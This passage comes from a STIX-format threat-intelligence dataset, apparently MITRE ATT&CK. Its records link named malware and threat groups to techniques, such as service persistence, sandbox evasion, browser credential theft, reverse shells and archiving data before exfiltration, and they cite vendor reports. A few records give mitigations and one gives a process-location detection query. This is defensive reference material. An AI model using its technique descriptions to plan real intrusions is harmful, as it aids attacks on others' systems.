"2019-09-04T23:04:50.193Z", "description": "The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV.\u201d(Citation: ESET TeleBots Oct 2018)", "relationship_type": "uses", "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90bb9179-c20a-4223-a177-731f015052aa", "type": "relationship", "created": "2021-07-27T14:18:49.990Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}], "modified": "2021-08-31T17:00:17.975Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has used a variety of utilities, including WinRAR, to archive collected data with password protection.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90bd9900-a78f-47da-9504-393e8ece3fac", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "modified": "2020-03-30T02:18:19.130Z", "description": "[iKitten](https://attack.mitre.org/software/S0278) will zip up the /Library/Keychains directory before exfiltrating it.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90be71e4-6b38-4411-aac5-09711a334393", "type": "relationship", "created": "2019-06-04T14:17:34.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", "source_name": "Securelist ScarCruft May 2019"}, {"source_name": "NCCGroup RokRat Nov 2018", "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}, {"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}], "modified": "2022-03-30T20:40:22.209Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--90c3e922-1a21-4dc1-ad89-a72e013b5977", "created": "2022-10-05T16:32:30.339Z", "revoked": false, "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. 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Retrieved September 24, 2020."}], "modified": "2020-10-06T15:44:25.178Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can execute command line scripts received from C2.(Citation: PWC WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90f5f474-eed1-4145-be80-155bc5783680", "type": "relationship", "created": "2020-10-05T17:54:54.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-10-05T17:54:54.127Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can establish persistence by creating a service.(Citation: Cyberreason Anchor December 2019)\t", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--90fc37c2-19cc-450d-ba0b-5c4a3c9039b3", "type": "relationship", "created": "2022-01-25T15:43:34.501Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "modified": "2022-01-25T15:43:34.501Z", "description": "[CharmPower](https://attack.mitre.org/software/S0674) can delete created files from a compromised system.(Citation: Check Point APT35 CharmPower January 2022)", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--90febb12-39b4-4138-99da-93f1e987ac2a", "created": "2022-10-14T18:02:35.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 WhisperGate January 2022", "description": "Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"}, {"source_name": "Medium S2W WhisperGate January 2022", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.", "url": "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T18:04:11.810Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can download and execute AdvancedRun.exe via `sc.exe`.(Citation: Medium S2W WhisperGate January 2022)(Citation: Unit 42 WhisperGate January 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91038a74-575b-4f2e-9dba-767b50b8e4ab", "type": "relationship", "created": "2020-07-01T21:19:30.586Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.402Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) has the ability to enumerate what browser is being used as well as version information for Safari.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9104be87-33ad-4a35-96db-3e2ed5c17f46", "created": "2023-12-13T20:42:27.690Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-18T22:47:59.314Z", "description": "Consider using application control configured to block execution of utilities such as `diskshadow.exe` that may not be required for a given system or network to prevent potential misuse by adversaries. ", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--910d0f07-383b-480b-9637-d5b747353bdc", "type": "relationship", "created": "2021-10-13T18:28:38.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kroll Qakbot June 2020", "url": "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks", "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."}], "modified": "2021-10-13T18:28:38.745Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has stored stolen emails and other data into new folders prior to exfiltration.(Citation: Kroll Qakbot June 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9111ccf5-9754-4840-8068-7635465e640a", "created": "2022-04-18T18:58:45.648Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "modified": "2022-04-18T18:58:45.648Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--911716a6-6c59-4055-a74b-9152b19800cb", "created": "2023-08-11T20:46:49.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T17:59:38.885Z", "description": "Monitor for newly executed processes that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. The RECYCLER and SystemVolumeInformation directories will be present on every drive. Replace %systemroot% and %windir% with the actual paths as configured by the endpoints.\n\nAnalytic 1 - Suspicious Run Locations\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (\n Image=\"*:\\RECYCLER\\*\" OR\n  Image=\"*:\\SystemVolumeInformation\\*\" OR\n  Image=\"%windir%\\Tasks\\*\" OR\n  Image=\"%systemroot%\\debug\\*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91180074-16cd-448f-8955-628d06965e22", "type": "relationship", "created": "2020-05-21T14:55:00.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.169Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used base64 encoding to hide command strings delivered from the C2.(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--911beb36-2a36-4c26-9e0d-bea35f6497b6", "created": "2023-09-27T20:25:38.772Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T20:25:38.772Z", "description": "[NightClub](https://attack.mitre.org/software/S1090) can use `GetForegroundWindow` to enumerate the active window.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--911c0e63-10bc-4fbd-b7b7-0a9e318bb4f1", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky MuddyWater Nov 2018", "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"}, {"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}, {"source_name": "Unit 42 MuddyWater Nov 2017", "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"}, {"source_name": "TrendMicro POWERSTATS V3 June 2019", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T16:59:12.162Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses PowerShell for obfuscation and execution.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--911ca56b-8fd3-4efc-855c-f1754c8b05b7", "type": "relationship", "created": "2020-03-28T01:37:57.435Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-17T17:53:50.949Z", "description": "Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--911d412e-9dd7-49ae-ab6a-a078b44a1791", "type": "relationship", "created": "2020-01-15T16:27:32.733Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-15T16:27:32.733Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--911d7f27-a32e-45fb-a66b-e7b195023c43", "type": "relationship", "created": "2020-05-04T19:13:35.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.503Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of files in a given directory as well as drives and drive types.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9121d8be-058d-4ee2-9372-62c6607dd8f4", "type": "relationship", "created": "2020-03-28T01:05:24.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:02.002Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can disable the firewall by modifying the registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile</code>.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9122a590-4a01-4f41-a15a-bc3bc92b0439", "created": "2023-03-10T21:15:11.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Check Point Black Basta October 2022", "description": "Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.", "url": "https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}, {"source_name": "Palo Alto Networks Black Basta August 2022", "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.", "url": "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T00:22:52.626Z", "description": "[Black Basta](https://attack.mitre.org/software/S1070) can check system flags and libraries, process timing, and API's to detect code emulation or sandboxing.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Check Point Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9131af72-6fa7-4292-b959-05f774e77f7e", "type": "relationship", "created": "2020-02-20T15:37:27.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T15:37:27.398Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--913c67d5-0c5b-40d5-be88-6ce4e5030603", "type": "relationship", "created": "2020-06-30T00:18:39.805Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Ragnar May 2020", "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}], "modified": "2020-06-30T00:18:39.805Z", "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has used VirtualBox and a stripped Windows XP virtual machine to run itself. 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It can also provide a reverse shell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)", "relationship_type": "uses", "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9199705b-d90f-4f46-908a-e419501c8712", "created": "2022-04-14T11:13:32.716Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TrailBlazer](https://attack.mitre.org/software/S0682) has used HTTP requests for C2.(Citation: CrowdStrike StellarParticle January 2022)", "modified": "2022-04-14T11:13:32.716Z", "relationship_type": "uses", "source_ref": "malware--bdad6f3b-de88-42fa-9295-d29b5271808e", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--919f6143-eb8c-48cd-8741-118040c372ab", "type": "relationship", "created": "2019-07-22T15:35:24.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. 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Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:38:51.429Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256)\u2019s installer is obfuscated with a custom crypter to obfuscate the installer.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--91a7667b-592f-45c1-a069-986380d29e71", "type": "relationship", "created": "2020-11-10T20:43:18.165Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-10T20:43:18.166Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) has the ability to steal credentials from web browsers.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--91aa29c1-28a9-414a-aa3c-a6293b8d078f", "created": "2023-03-26T19:54:24.583Z", "revoked": false, "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": 